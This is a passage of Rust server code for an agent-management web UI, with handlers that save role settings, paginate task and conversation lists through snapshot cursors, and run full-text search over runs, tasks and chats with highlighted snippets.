5381/// `PUT /api/settings/roles` - save role assignments to the machine config.
5382///
5383/// The write target is `ui.machine_config` and nothing in the body can change
5384/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5385/// 422 with the reason in words.
5386async fn settings_put_roles(
5387    State(ui): State<Arc<Ui>>,
5388    Query(q): Query<SettingsQuery>,
5389    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5390) -> ApiResult<Json<settings::SettingsView>> {
5391    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5392    blocking(move || {
5393        let (repo, known) = settings_context(&ui, q)?;
5394        settings::save_with_repos(
5395            &repo,
5396            ui.machine_config.as_deref(),
5397            &body.revision,
5398            &body.roles,
5399            &body.counts,
5400            &known,
5401        )
5402        .map(Json)
5403        .map_err(|e| match e {
5404            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5405            settings::SaveError::Refused(m) => ApiError {
5406                text_reason: None,
5407                status: StatusCode::UNPROCESSABLE_ENTITY,
5408                message: m,
5409            },
5410            settings::SaveError::Internal(m) => ApiError::internal(m),
5411        })
5412    })
5413    .await
5414}
5415
5416async fn queue_list(
5417    State(ui): State<Arc<Ui>>,
5418    Query(q): Query<ListQuery>,
5419) -> ApiResult<Json<Vec<TaskView>>> {
5420    blocking(move || {
5421        let tasks = ui.queue.list();
5422        let inv =
5423            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5424        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5425        Ok(Json(
5426            tasks
5427                .into_iter()
5428                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5429                .map(|t| {
5430                    TaskView::with_inventory(t, &inv).with_admission(
5431                        &admission,
5432                        &ui.queue,
5433                        Some(&inv),
5434                        &ui.home,
5435                    )
5436                })
5437                .collect(),
5438        ))
5439    })
5440    .await
5441}
5442
5443/// History pages read a bounded number of records; the first conversation
5444/// page also includes every open talk. Cursors advance through a frozen snapshot,
5445/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5446/// Concurrent inserts are reconciled by a trailing store refresh.
5447#[derive(Debug, Default, Deserialize)]
5448struct PageQuery {
5449    before: Option<String>,
5450}
5451
5452#[derive(Serialize)]
5453struct StorePage<T> {
5454    rows: Vec<T>,
5455    next: Option<String>,
5456}
5457
5458const STORE_PAGE_SIZE: usize = 16;
5459
5460/// Freeze membership and the initial open/history boundary for a cursor walk.
5461/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5462/// the next store revision. Never rescan the entire directory for every page.
5463#[derive(Debug)]
5464struct ListWalk {
5465    token: u64,
5466    talks: bool,
5467    opened: std::time::Instant,
5468    ids: Arc<Vec<String>>,
5469    initial_end: usize,
5470}
5471
5472/// Read only the bounded goal header. Legacy layouts with goals after turns
5473/// are classified when their ordinary paginated row is loaded.
5474fn read_owner_goal(reader: impl std::io::Read) -> bool {
5475    use serde::de::{IgnoredAny, MapAccess, Visitor};
5476    struct Header<'a>(&'a mut bool);
5477    impl<'de> Visitor<'de> for Header<'_> {
5478        type Value = ();
5479        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5480            f.write_str("conversation goals")
5481        }
5482        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5483            while let Some(key) = map.next_key::<String>()? {
5484                if key == "turns" {
5485                    return Err(serde::de::Error::custom("transcript boundary"));
5486                }
5487                if key == "goals" {
5488                    let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5489                    *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5490                    return Err(serde::de::Error::custom("goals read"));
5491                }
5492                map.next_value::<IgnoredAny>()?;
5493            }
5494            Ok(())
5495        }
5496    }
5497    let mut owner = false;
5498    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5499    let mut json = serde_json::Deserializer::from_reader(reader);
5500    let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5501    owner
5502}
5503
5504fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5505    page_ids_with(ui, talks, q, |ui, ids| {
5506        // A conversation owing the owner a decision is listed with the open
5507        // ones even when closed, so the Needs owner filter never depends on
5508        // walking closed history.
5509        let mut open = open_talk_ids(ui, ids);
5510        let inventory = chat_inventory(ui);
5511        let owing = inventory.needs_owner();
5512        open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5513        let mut goals = ui
5514            .monitor
5515            .closed_goal_index
5516            .lock()
5517            .unwrap_or_else(PoisonError::into_inner);
5518        let present: HashSet<_> = ids.iter().collect();
5519        goals.retain(|id, _| present.contains(id));
5520        for id in ids {
5521            if open.contains(id) {
5522                continue;
5523            }
5524            let path = ui.talks.path_of(id);
5525            let identity = goal_identity(&path).ok();
5526            let owner = if let Some((old, owner)) = goals.get(id)
5527                && identity.as_ref() == Some(old)
5528            {
5529                *owner
5530            } else {
5531                let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5532                if let Some(identity) = identity
5533                    && goal_identity(&path).is_ok_and(|after| after == identity)
5534                {
5535                    goals.insert(id.clone(), (identity, owner));
5536                }
5537                owner
5538            };
5539            if owner {
5540                open.insert(id.clone());
5541            }
5542        }
5543        open
5544    })
5545}
5546
5547fn page_ids_with(
5548    ui: &Ui,
5549    talks: bool,
5550    q: PageQuery,
5551    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5552) -> ApiResult<(Vec<String>, Option<String>)> {
5553    let mut walks = ui
5554        .monitor
5555        .list_walks
5556        .lock()
5557        .unwrap_or_else(PoisonError::into_inner);
5558    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5559    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5560        let (token, offset) = cursor
5561            .split_once(':')
5562            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5563        let token = token
5564            .parse::<u64>()
5565            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5566        let offset = offset
5567            .parse::<usize>()
5568            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5569        let walk = walks
5570            .iter()
5571            .find(|walk| walk.token == token && walk.talks == talks)
5572            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5573        (token, walk.ids.clone(), offset, walk.initial_end)
5574    } else {
5575        // Header I/O must not hold the snapshot registry shared with queue
5576        // pagination or with clients continuing an existing history walk.
5577        drop(walks);
5578        let root = if talks {
5579            ui.talks.root()
5580        } else {
5581            ui.queue.root()
5582        };
5583        let mut ids = crate::queue::record_ids(root, "json")?;
5584        ids.sort_unstable_by(|a, b| b.cmp(a));
5585        let initial_end = if talks {
5586            let open = classify(ui, &ids);
5587            // Stable partition: ID order is only the existing membership order,
5588            // never a substitute for the UI's creation-time ordering.
5589            ids.sort_by_key(|id| !open.contains(id));
5590            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5591        } else {
5592            STORE_PAGE_SIZE.min(ids.len())
5593        };
5594        let ids = Arc::new(ids);
5595        walks = ui
5596            .monitor
5597            .list_walks
5598            .lock()
5599            .unwrap_or_else(PoisonError::into_inner);
5600        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5601        let mut token = crate::rng::entropy();
5602        while walks.iter().any(|walk| walk.token == token) {
5603            token = crate::rng::entropy();
5604        }
5605        // Four clients can enumerate both stores and overlap a refresh. Bound
5606        // retained membership snapshots; an evicted cursor explicitly retries.
5607        if walks.len() >= 16 {
5608            walks.remove(0);
5609        }
5610        walks.push(ListWalk {
5611            token,
5612            talks,
5613            opened: std::time::Instant::now(),
5614            ids: ids.clone(),
5615            initial_end,
5616        });
5617        (token, ids, 0, initial_end)
5618    };
5619    if offset > ids.len() {
5620        return Err(ApiError::bad_request("Invalid list cursor"));
5621    }
5622    let end = if offset == 0 {
5623        initial_end
5624    } else {
5625        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5626    };
5627    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5628    Ok((ids[offset..end].to_vec(), next))
5629}
5630
5631async fn queue_page(
5632    State(ui): State<Arc<Ui>>,
5633    Query(q): Query<PageQuery>,
5634) -> ApiResult<Json<StorePage<TaskView>>> {
5635    blocking(move || {
5636        let (ids, next) = page_ids(&ui, false, q)?;
5637        let tasks: Vec<_> = ids
5638            .into_iter()
5639            .filter_map(|id| ui.queue.get(&id).ok())
5640            .collect();
5641        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5642        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5643        let rows = tasks
5644            .into_iter()
5645            .map(|task| {
5646                TaskView::with_inventory(task, &inv).with_admission(
5647                    &admission,
5648                    &ui.queue,
5649                    Some(&inv),
5650                    &ui.home,
5651                )
5652            })
5653            .collect();
5654        Ok(Json(StorePage { rows, next }))
5655    })
5656    .await
5657}
5658
5659/// Fixed-size wire projection. Agent timestamps stay in the server index so
5660/// exact unread counts do not require sending an ever-growing turn list.
5661#[derive(Debug, Clone, Serialize)]
5662struct TalkListView {
5663    title: Option<talk::ChatTitle>,
5664    id: String,
5665    repo: PathBuf,
5666    agent: String,
5667    status: talk::TalkStatus,
5668    turns: Vec<TalkListTurn>,
5669    turn_count: usize,
5670    unread_count: usize,
5671    context: talk::ContextUsage,
5672    #[serde(skip)]
5673    agent_times: Vec<Timestamp>,
5674    #[serde(skip)]
5675    goals: crate::chat_status::Goals,
5676    thinking: bool,
5677    /// Display-only triage state derived from durable evidence.
5678    chat_status: crate::chat_status::ChatStatus,
5679    created_at: Timestamp,
5680    updated_at: Timestamp,
5681}
5682
5683#[derive(Debug, Clone, Serialize)]
5684struct TalkListTurn {
5685    who: talk::Who,
5686    at: Timestamp,
5687    body: String,
5688}
5689
5690/// Shared status evidence. Keyed by the monitor's queue, question, decision and
5691/// loop revisions so a list read never re-parses the stores unless one moved;
5692/// without a published revision (before the first scan) it is built per call.
5693fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5694    let unreadable = ui
5695        .monitor
5696        .chat_sources_unreadable
5697        .load(std::sync::atomic::Ordering::Acquire);
5698    let key = ui
5699        .monitor
5700        .latest
5701        .lock()
5702        .unwrap_or_else(PoisonError::into_inner)
5703        .as_ref()
5704        .map(|(revisions, _)| *revisions);
5705    if !unreadable
5706        && let Some(key) = key
5707        && let Some((cached, inventory)) = ui
5708            .monitor
5709            .chat_inventory
5710            .lock()
5711            .unwrap_or_else(PoisonError::into_inner)
5712            .as_ref()
5713        && *cached == key
5714    {
5715        return Arc::clone(inventory);
5716    }
5717    let tasks = ui.queue.list();
5718    let questions = ui.questions.list();
5719    let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5720    if unreadable
5721        || crate::queue::record_ids(ui.queue.root(), "json")
5722            .map_or(true, |ids| ids.len() > tasks.len())
5723        || crate::queue::record_ids(ui.questions.root(), "json")
5724            .map_or(true, |ids| ids.len() > questions.len())
5725    {
5726        inventory.mark_unreadable();
5727    }
5728    let inventory = Arc::new(inventory);
5729    if !unreadable && let Some(key) = key {
5730        *ui.monitor
5731            .chat_inventory
5732            .lock()
5733            .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5734    }
5735    inventory
5736}
5737
5738fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5739    let reads: HashMap<String, Timestamp> = headers
5740        .get("x-talk-reads")
5741        .and_then(|v| v.to_str().ok())
5742        .and_then(|v| serde_json::from_str(v).ok())
5743        .unwrap_or_default();
5744    let inventory = chat_inventory(ui);
5745    let mut index = ui
5746        .monitor
5747        .talk_index
5748        .lock()
5749        .unwrap_or_else(PoisonError::into_inner);
5750    // Bound memory independently of the number of conversations ever opened.
5751    if index.len() > 1000 {
5752        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5753        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5754        if index.len() > 1000 {
5755            index.retain(|id, _| keep.contains(id.as_str()));
5756        }
5757    }
5758    ids.into_iter()
5759        .filter_map(|id| {
5760            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5761            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5762                let talk = ui.talks.get(&id).ok()?;
5763                #[cfg(test)]
5764                ui.monitor
5765                    .talk_parses
5766                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5767                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5768                let last = talk.turns.len().checked_sub(1);
5769                let turns = talk
5770                    .turns
5771                    .iter()
5772                    .enumerate()
5773                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5774                    .map(|(_, t)| TalkListTurn {
5775                        who: t.who,
5776                        at: t.at,
5777                        body: t
5778                            .body
5779                            .lines()
5780                            .next()
5781                            .unwrap_or_default()
5782                            .chars()
5783                            .take(240)
5784                            .collect(),
5785                    })
5786                    .collect();
5787                let row = TalkListView {
5788                    title: talk.title.clone(),
5789                    agent_times: talk
5790                        .turns
5791                        .iter()
5792                        .filter(|t| t.who == talk::Who::Agent)
5793                        .map(|t| t.at)
5794                        .collect(),
5795                    turn_count: talk.turns.len(),
5796                    goals: crate::chat_status::Goals::of(&talk.goals),
5797                    chat_status: crate::chat_status::ChatStatus::placeholder(),
5798                    unread_count: 0,
5799                    context: talk::context_usage(&talk, None),
5800                    turns,
5801                    thinking: false,
5802                    id: talk.id,
5803                    repo: talk.repo,
5804                    agent: talk.agent,
5805                    status: talk.status,
5806                    created_at: talk.created_at,
5807                    updated_at: talk.updated_at,
5808                };
5809                index.insert(id.clone(), (identity, row));
5810            }
5811            let row = &index.get(&id)?.1;
5812            let mut row = TalkListView {
5813                title: row.title.clone(),
5814                unread_count: row
5815                    .agent_times
5816                    .iter()
5817                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5818                    .count(),
5819                agent_times: Vec::new(),
5820                goals: row.goals,
5821                chat_status: row.chat_status.clone(),
5822                id: row.id.clone(),
5823                repo: row.repo.clone(),
5824                agent: row.agent.clone(),
5825                status: row.status,
5826                context: row.context.clone(),
5827                turns: row.turns.clone(),
5828                turn_count: row.turn_count,
5829                thinking: false,
5830                created_at: row.created_at,
5831                updated_at: row.updated_at,
5832            };
5833            let turn_held = ui.talks.turn_held(&id);
5834            row.thinking = turn_held || inventory.busy(&id);
5835            row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5836            Some(row)
5837        })
5838        .collect()
5839}
5840
5841async fn talks_page(
5842    State(ui): State<Arc<Ui>>,
5843    Query(q): Query<PageQuery>,
5844    headers: header::HeaderMap,
5845) -> ApiResult<Json<StorePage<TalkListView>>> {
5846    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5847        let (ids, next) = page_ids(&ui, true, q)?;
5848        Ok(Json(StorePage {
5849            rows: talk_rows(&ui, ids, &headers),
5850            next,
5851        }))
5852    })
5853    .await
5854}
5855
5856async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5857    blocking(move || {
5858        let tasks = ui.indexed_tasks()?;
5859        Ok(Json(TaskCountsView::from(
5860            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5861        )))
5862    })
5863    .await
5864}
5865
5866/// Most hits one search returns. The rest are counted in `total`.
5867const SEARCH_MAX_HITS: usize = 100;
5868/// Longest query, in characters, and most terms it is split into.
5869const SEARCH_MAX_QUERY: usize = 200;
5870const SEARCH_MAX_TERMS: usize = 8;
5871/// Characters of context kept before the first hit, and after it.
5872const SNIPPET_BEFORE: usize = 50;
5873const SNIPPET_AFTER: usize = 110;
5874
5875/// `?scope=runs|tasks&q=...`
5876#[derive(Debug, Deserialize)]
5877struct SearchQuery {
5878    #[serde(default)]
5879    scope: String,
5880    #[serde(default)]
5881    q: String,
5882}
5883
5884/// One piece of a snippet. `hit` pieces are what matched; the client renders
5885/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5886#[derive(Debug, Serialize, PartialEq, Eq)]
5887struct SnippetPart {
5888    text: String,
5889    hit: bool,
5890}
5891
5892/// Position plus transcript evidence, without changing the saved chat schema.
5893#[derive(Debug, Serialize)]
5894struct ChatSearchTarget {
5895    turn: usize,
5896    message: usize,
5897    at: String,
5898    text: String,
5899}
5900
5901fn chat_text_key(body: &str) -> String {
5902    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5903        (hash ^ u32::from(c)).wrapping_mul(16777619)
5904    });
5905    format!("{hash:08x}:{}", body.chars().count())
5906}
5907
5908#[derive(Debug, Serialize)]
5909struct SearchHit {
5910    #[serde(skip_serializing_if = "Option::is_none")]
5911    target: Option<ChatSearchTarget>,
5912    id: String,
5913    /// The name of the field the snippet was cut from.
5914    field: String,
5915    snippet: Vec<SnippetPart>,
5916    /// The run's list row, so the page can apply its state / section / repo
5917    /// filters to a hit outside the loaded window. Absent for tasks and for a
5918    /// run record the list view cannot read.
5919    #[serde(skip_serializing_if = "Option::is_none")]
5920    run: Option<RunSummary>,
5921}
5922
5923#[derive(Debug, Serialize)]
5924struct SearchView {
5925    scope: String,
5926    q: String,
5927    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5928    hits: Vec<SearchHit>,
5929    /// Every match, hits beyond the cap included.
5930    total: usize,
5931    truncated: bool,
5932    /// Runs whose `run.json` could not be parsed at all. They were not
5933    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5934    unreadable: usize,
5935}
5936
5937/// The text leaves of a JSON document, with the name of the field each sits
5938/// under. Keys and numbers are skipped: they are structure, not prose.
5939fn text_leaves<'a>(
5940    value: &'a serde_json::Value,
5941    field: &'a str,
5942    out: &mut Vec<(&'a str, &'a str)>,
5943) {
5944    match value {
5945        serde_json::Value::String(s) => out.push((field, s)),
5946        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5947        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5948        _ => {}
5949    }
5950}
5951
5952/// Lower-case one character without changing how many there are, so indices
5953/// in the lowered text are indices in the original.
5954fn fold_char(c: char) -> char {
5955    c.to_lowercase().next().unwrap_or(c)
5956}
5957
5958/// Split a query into its lower-cased terms.
5959fn search_terms(q: &str) -> Vec<String> {
5960    let mut terms: Vec<String> = Vec::new();
5961    for t in q.split_whitespace() {
5962        let t = t.to_lowercase();
5963        if !terms.contains(&t) {
5964            terms.push(t);
5965        }
5966    }
5967    terms
5968}
5969
5970/// Match `terms` (all of them, anywhere in the document) against the leaves
5971/// and cut a snippet around the first hit. `None` when a term is missing.
5972fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5973    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5974    let mut first: Option<usize> = None;
5975    for term in terms {
5976        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5977        first = Some(first.map_or(at, |f| f.min(at)));
5978    }
5979    // The leaf holding the earliest hit of any term is where the snippet is cut.
5980    let (field, text) = leaves[first?];
5981    Some(SearchHit {
5982        id: String::new(),
5983        target: None,
5984        field: field.to_owned(),
5985        snippet: snippet_of(text, terms),
5986        run: None,
5987    })
5988}
5989
5990/// A window of `text` around the first occurrence of any term, whitespace
5991/// collapsed, with every term occurrence inside the window marked.
5992fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5993    let chars: Vec<char> = text.chars().collect();
5994    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5995    let needles: Vec<Vec<char>> = terms
5996        .iter()
5997        .map(|t| t.chars().map(fold_char).collect())
5998        .collect();
5999    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
6000        let mut best: Option<(usize, usize)> = None;
6001        for n in needles.iter().filter(|n| !n.is_empty()) {
6002            // `to` bounds where a match may start; it may run past `to` (the
6003            // caller clips what it shows). A term longer than the field cannot
6004            // occur in it (it may live in another leaf of the document).
6005            if n.len() > chars.len() || to == 0 {
6006                continue;
6007            }
6008            let last = (to - 1).min(chars.len() - n.len());
6009            if from > last {
6010                continue;
6011            }
6012            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6013                && best.is_none_or(|(b, _)| i < b)
6014            {
6015                best = Some((i, i + n.len()));
6016            }
6017        }
6018        best
6019    };
6020    let Some((start, _)) = find(0, chars.len()) else {
6021        // Matched only through a case mapping that changes length: show the head.
6022        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6023        return vec![SnippetPart {
6024            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6025            hit: false,
6026        }];
6027    };
6028    let lo = start.saturating_sub(SNIPPET_BEFORE);
6029    let hi = (start + SNIPPET_AFTER).min(chars.len());
6030    let mut parts: Vec<SnippetPart> = Vec::new();
6031    let mut push = |s: &[char], hit: bool| {
6032        if s.is_empty() {
6033            return;
6034        }
6035        let text: String = s.iter().collect();
6036        match parts.last_mut() {
6037            Some(p) if p.hit == hit => p.text.push_str(&text),
6038            _ => parts.push(SnippetPart { text, hit }),
6039        }
6040    };
6041    if lo > 0 {
6042        push(&['\u{2026}'], false);
6043    }
6044    let mut at = lo;
6045    while at < hi {
6046        match find(at, hi) {
6047            Some((s, e)) => {
6048                push(&chars[at..s], false);
6049                // A match running past the window is shown up to its edge.
6050                let shown = e.min(hi);
6051                push(&chars[s..shown], true);
6052                at = shown;
6053            }
6054            None => {
6055                push(&chars[at..hi], false);
6056                at = hi;
6057            }
6058        }
6059    }
6060    if hi < chars.len() {
6061        push(&['\u{2026}'], false);
6062    }
6063    // Collapse whitespace (newlines in an instruction) without disturbing the
6064    // hit boundaries.
6065    let mut prev_space = false;
6066    for p in &mut parts {
6067        let mut out = String::with_capacity(p.text.len());
6068        for c in p.text.chars() {
6069            if c.is_whitespace() {
6070                if !prev_space {
6071                    out.push(' ');
6072                }
6073                prev_space = true;
6074            } else {
6075                out.push(c);
6076                prev_space = false;
6077            }
6078        }
6079        p.text = out;
6080    }
6081    parts.retain(|p| !p.text.is_empty());
6082    parts
6083}
6084
6085/// The search over `docs` (id, document), newest first, capped.
6086fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6087where
6088    I: IntoIterator<Item = (String, serde_json::Value)>,
6089{
6090    for (id, doc) in docs {
6091        let mut leaves = Vec::new();
6092        // The id is text an operator types too, and it is a map key on disk,
6093        // not a leaf.
6094        leaves.push(("id", id.as_str()));
6095        text_leaves(&doc, "", &mut leaves);
6096        if let Some(mut hit) = search_document(terms, &leaves) {
6097            view.total += 1;
6098            if view.hits.len() < SEARCH_MAX_HITS {
6099                hit.id = id;
6100                view.hits.push(hit);
6101            }
6102        }
6103    }
6104    view.truncated = view.total > view.hits.len();
6105}
6106
6107/// What a conversation is searched by: its list title and each turn's text,
6108/// under their sender labels so the snippet says who spoke. Nothing else
6109/// (session ids, repo paths, usage, drafts) is part of the document.
6110///
6111/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
6112fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6113    let opener = talk
6114        .title
6115        .as_ref()
6116        .filter(|t| !t.text.is_empty())
6117        .map(|t| t.text.as_str())
6118        .or_else(|| {
6119            talk.turns
6120                .iter()
6121                .find(|t| t.who == talk::Who::Operator)
6122                .map(|t| t.body.as_str())
6123        })
6124        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6125        .unwrap_or("");
6126    let title: String = if opener.chars().count() > 96 {
6127        opener.chars().take(95).chain(['\u{2026}']).collect()
6128    } else {
6129        opener.to_owned()
6130    };
6131    let turns: Vec<serde_json::Value> = talk
6132        .turns
6133        .iter()
6134        .flat_map(|t| {
6135            let label = |message| match talk::sender(t, message) {
6136                talk::Sender::External => "external",
6137                _ => match t.who {
6138                    talk::Who::Operator => "operator",
6139                    talk::Who::Agent => "agent",
6140                },
6141            };
6142            if t.messages.is_empty() {
6143                vec![serde_json::json!({ label(None): t.body })]
6144            } else {
6145                t.messages
6146                    .iter()
6147                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6148                    .collect()
6149            }
6150        })
6151        .collect();
6152    serde_json::json!({ "title": title, "turns": turns })
6153}
6154
6155fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6156    let doc = talk_search_doc(talk);
6157    let mut leaves = vec![("id", talk.id.as_str())];
6158    text_leaves(&doc, "", &mut leaves);
6159    let mut hit = search_document(terms, &leaves)?;
6160    // Use exactly the leaf that supplied the snippet, including title/id hits.
6161    let leaf = leaves
6162        .iter()
6163        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6164    let messages: Vec<_> = talk
6165        .turns
6166        .iter()
6167        .enumerate()
6168        .flat_map(|(i, turn)| {
6169            let bodies: Vec<&str> = if turn.messages.is_empty() {
6170                vec![turn.body.as_str()]
6171            } else {
6172                turn.messages.iter().map(|m| m.body.as_str()).collect()
6173            };
6174            bodies
6175                .into_iter()
6176                .enumerate()
6177                .map(move |(j, body)| (i, j, turn, body))
6178        })
6179        .collect();
6180    let target = leaf
6181        .checked_sub(2)
6182        .and_then(|i| messages.get(i))
6183        .or_else(|| {
6184            // An unsaved title is the opener's first nonempty line, so its
6185            // snippet still identifies a transcript message. Saved titles do not.
6186            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6187                return None;
6188            }
6189            let (index, opener) = talk
6190                .turns
6191                .iter()
6192                .enumerate()
6193                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6194            let line = opener
6195                .body
6196                .lines()
6197                .map(str::trim)
6198                .find(|line| !line.is_empty())?;
6199            messages.iter().find(|(i, _, _, body)| {
6200                *i == index
6201                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6202            })
6203        });
6204    if let Some((i, j, turn, body)) = target {
6205        hit.target = Some(ChatSearchTarget {
6206            turn: *i,
6207            message: *j,
6208            at: turn.at.to_string(),
6209            text: chat_text_key(body),
6210        });
6211    }
6212    hit.id = talk.id.clone();
6213    Some(hit)
6214}
6215
6216/// Read-only full-text search over every run's `run.json`, every task or every
6217/// conversation (title and transcript).
6218///
6219/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
6220/// record from an older schema still searches; only a file that is not JSON
6221/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
6222async fn search_get(
6223    State(ui): State<Arc<Ui>>,
6224    Query(q): Query<SearchQuery>,
6225) -> ApiResult<Json<SearchView>> {
6226    let query = q.q.trim().to_owned();
6227    if query.is_empty() {
6228        return Err(ApiError::bad_request("q must not be empty"));
6229    }
6230    if query.chars().count() > SEARCH_MAX_QUERY {
6231        return Err(ApiError::bad_request(format!(
6232            "q is longer than {SEARCH_MAX_QUERY} characters"
6233        )));
6234    }
6235    let terms = search_terms(&query);
6236    if terms.len() > SEARCH_MAX_TERMS {
6237        return Err(ApiError::bad_request(format!(
6238            "q has more than {SEARCH_MAX_TERMS} terms"
6239        )));
6240    }
6241    let scope = q.scope;
6242    if scope != "runs" && scope != "tasks" && scope != "chats" {
6243        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6244    }
6245    blocking(move || {
6246        let mut view = SearchView {
6247            scope: scope.clone(),
6248            q: query,
6249            hits: Vec::new(),
6250            total: 0,
6251            truncated: false,
6252            unreadable: 0,
6253        };
6254        if scope == "runs" {
6255            let mut unreadable = 0;
6256            // One run.json is read, matched and dropped at a time; nothing
6257            // holds the whole history. The scan runs to the end even past the
6258            // hit cap so `total` and `unreadable` stay exact.
6259            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6260                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6261                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6262                    Some(v) => Some((id, v)),
6263                    None => {
6264                        unreadable += 1;
6265                        None
6266                    }
6267                }
6268            });
6269            search_docs(&terms, docs, &mut view);
6270            view.unreadable = unreadable;
6271            // Only the capped hits get a row: the filters need a run's state,
6272            // and reading every match would be the whole history again.
6273            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6274            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6275            for hit in &mut view.hits {
6276                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6277                    hit.run = summarize(
6278                        [state],
6279                        &open_runs,
6280                        &claimed,
6281                        &superseded,
6282                        |p| probe.borrow_mut().status(p),
6283                        |p| probe.borrow_mut().started_at(p),
6284                    )
6285                    .pop();
6286                }
6287            }
6288        } else if scope == "chats" {
6289            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6290            view.unreadable = unreadable;
6291            for talk in &talks {
6292                if let Some(hit) = search_chat(&terms, talk) {
6293                    view.total += 1;
6294                    if view.hits.len() < SEARCH_MAX_HITS {
6295                        view.hits.push(hit);
6296                    }
6297                }
6298            }
6299            view.truncated = view.total > view.hits.len();
6300        } else {
6301            let docs = ui.queue.list().into_iter().filter_map(|t| {
6302                let mut v = serde_json::to_value(&t).ok()?;
6303                // `source` serialises as a tagged object; the label is what
6304                // the operator reads ("human", "chat@a1b2").
6305                if let Some(o) = v.as_object_mut() {
6306                    o.insert("filed_by".to_owned(), t.source_label().into());
6307                }
6308                Some((t.id, v))
6309            });
6310            search_docs(&terms, docs, &mut view);
6311        }
6312        Ok(Json(view))
6313    })
6314    .await
6315}
6316
6317/// One attempt in a task's history, as the task page lists it.
6318#[derive(Debug, Serialize)]
6319struct TaskRunView {
6320    activity: Option<String>,
6321    /// 1-based position in [`Task::runs`].
6322    n: usize,
6323    id: String,
6324    short: String,
